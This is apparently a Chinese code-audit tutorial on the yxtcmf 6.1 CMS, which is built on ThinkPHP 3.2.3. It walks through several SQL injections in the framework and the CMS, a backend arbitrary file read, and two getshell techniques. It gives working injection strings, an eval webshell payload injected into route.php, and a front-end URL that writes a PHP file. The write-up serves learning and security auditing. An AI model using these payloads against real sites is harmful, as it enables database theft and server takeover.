前言
yxtcmf6.1是一個基於thinkphp3.2.3的cms,19年3月份發布,用來練習代碼審計是個不錯的選擇。
審計思路
由於這個cms采用MVC架構並且是基於thinkphp3.2.3的,所以先了解文件結構,知道不同的頁面對應的文件位置在哪。然后搭建一個tp3.2.3了解一下這個框架,百度找找這個框架的漏洞,再通過Seay全局搜索可能因為這個框架存在漏洞的關鍵詞。接下來上自動審計(自動審計的規則並不是很完全,所以可以通過自己審計的經驗添加規則或者上百度找一些規則),對自動審計的結果進行驗證,結果可能會有幾百上千條,雖然不用每一條都去看,但是也是比較需要耐心的。最后可以拿AWVS之類的掃描器掃一掃,看看能不能掃出驚喜。
准備工具
phpstorm,Seay源碼審計系統,phpstudy,AWVS
0x00 了解文件結構和路由方式
路由方式
例如前台登錄界面的url為http://127.0.0.1:8014/index.php/User/Login/index
則對應的文件目錄為/application/User/LoginController.class.php,函數為index()
0x01 了解thinkphp3.2.3的漏洞
自己先搭建一個tp3.2.3,通過百度找到了一些thinkphp3.2.3存在的sql注入,然后記錄下來簡單說明一下
tp3.2.3構造sql語句的函數如上,如果$option的值是可以任意傳入的,那么就有可能達到sql注入的目的
1.->where("可控參數")->find()
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();
測試代碼如上,傳入參數username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23,然后調試跟進,主要代碼段如下,$whereStr為構造sql語句的一部分
結果構成如下sql語句
這里接收傳參的方法必須不為I($_GET['username']),否則會檢測值內是否含有'exp',如果有,就會加上空格變為'exp '
2.->find/select/delete("可控參數")
$id=I("id");$data=M("users")->find($id);
測試代碼如上,傳入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后調試跟蹤
最后得到sql語句如下,不需要單引號閉合也可完成注入
find()換成select()或者delete()也是一樣的效果
3.->where("可控參數")->save("可控參數")
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);
測試代碼如上,傳入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,調試跟蹤
4.->order("可控參數")->find()
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();
測試代碼如上,傳入username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最后的sql語句如下
了解了幾個tp3.2.3的sql注入后,就可以搜索這些關鍵詞來尋找sql注入
0x02 全局搜索sql注入
正則學的不是很好,所以這里全局搜索雖然支持正則,但是沒去用,只能寫點簡單的關鍵詞來搜索,還望師傅們指點指點
全局搜索->find(
1.后台Ad控制器sql注入
點進去第一條發現where()內的$id可控,“ad_id=$id”,可能不需要單引號閉合就可以sql注入
先隨便傳個參數看看sql語句是怎樣的
竟然這樣,就可以用括號閉合來注入了
2.前台register控制器sql注入
看看$where是否可控
於是構造payload如下
3.前台login控制器sql注入
這里一共有三處同樣的關鍵詞,需要注意的一點是,這三條不管雙擊進去哪一條后都只會高亮顯示第一處關鍵詞的位置。
第一處
第二處
第三處
第一處和第二處所在的函數都是在dologin()函數內調用的
接下來在第二處所在頁面傳參payload看看
結果出現錯誤提示,那么就調試跟蹤看看是哪里的問題
然后繼續跟進這行代碼,
最后看看第三處
后面的結果大致看了一下基本都是where()內的參數都做了強制類型轉換成int型,或者不可控,並且也沒有看到fin()內有可控參數的。
全局搜索->select/delete(
這兩都沒找到select/delete()里面有可控參數的
全局搜索->save(
這里找的也是不符合可能存在漏洞的條件
全局搜素->order(
同上,沒看到order()內有可控參數的
0x03 自動審計
通過自動審計掃出了800多條結果,但是並不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,還有剛剛分析過了sql注入,那么這里面的sql注入也不需要看了。像fread(),fgets()這種需要輸出才能看到文件內容的,如果沒有看到輸出的語句也可以放棄了,而像readfile(),unlink()這種可以直接得到執行結果的,就要重點關注一下。
0x04 后台任意文件讀取
翻着翻着找到了這里,進去看看變量是否可控
0x05 后台文件寫入getshell
翻到這里,點進去看看
那么如果能在route表中的full_url字段中插入一句話木馬,就可以將其寫入到route.php里面了
上面的1212-1217行需要注意一下
parse_url($full_url)將里面的值解析,並將相應的值組合成數組,例子如下
如果$a直接填a/b/c/d,那么array[path]=a/b/c/d
繼續看到1215-1217行
所以full_url的字段必須含有 a/b/c 這樣的形式
全局搜索sp_get_routes后發現admin目錄下的Route控制器調用了它
雖然index()函數下沒有插入表的語句,但是下面還有add()函數進行數據庫插入,先打開這個index頁面看看
發現有添加url規則
確實是在add()下,並且原始網址的變量名為full_url,加下來都輸入111驗證下是否是插入route表
接下來看看route.php的樣式和插入數據是否有過濾來確定payload要怎么寫
因為這是個php文件,所以不需要插入<>了,只要能插入單引號閉合,那么就可以將一句話木馬插入
先插入帶單引號的數據測試一下
然后再結合上面說的 full_url的字段必須含有 a/b/c 這樣的形式 那么就可以構造以下兩種payload
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'
添加完后會自動跳轉到url美化界面,也就是調用route控制器的index()函數,完成寫入route.php的操作
然后成功執行phpinfo()
0x06 前台文件寫入getshell
這個是在百度上找到的,而且比較復雜,小弟水平有限,調試了很多遍才知道在哪執行的寫入。
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
由於前面跟進了很多文件和函數,跟進步驟比較繁瑣,我在這就直接貼出最后關鍵的地方
先回調has方法檢查有沒有''5f068... 這個php文件,如果沒有,則回調put寫入這個文件
這里的$content就包含了payload里寫入的值
如果有''5f068... 這個文件,那么就回調load函數,然后文件包含''5f068... ,里面的代碼被執行,那么test.php文件就被寫入了
0x07 AWVS掃描
AWVS並沒有掃出來什么...
總結
自動審計除了這些驗證出漏洞的地方,還有很多不存在漏洞的地方我也看了,要么就是參數不可控,要么就是做了防護。雖然不用每一條結果都去看,但還是需要有點耐心。希望這篇文章能對剛入門審計的兄弟有所幫助,有問題的地方也還望師傅們指出。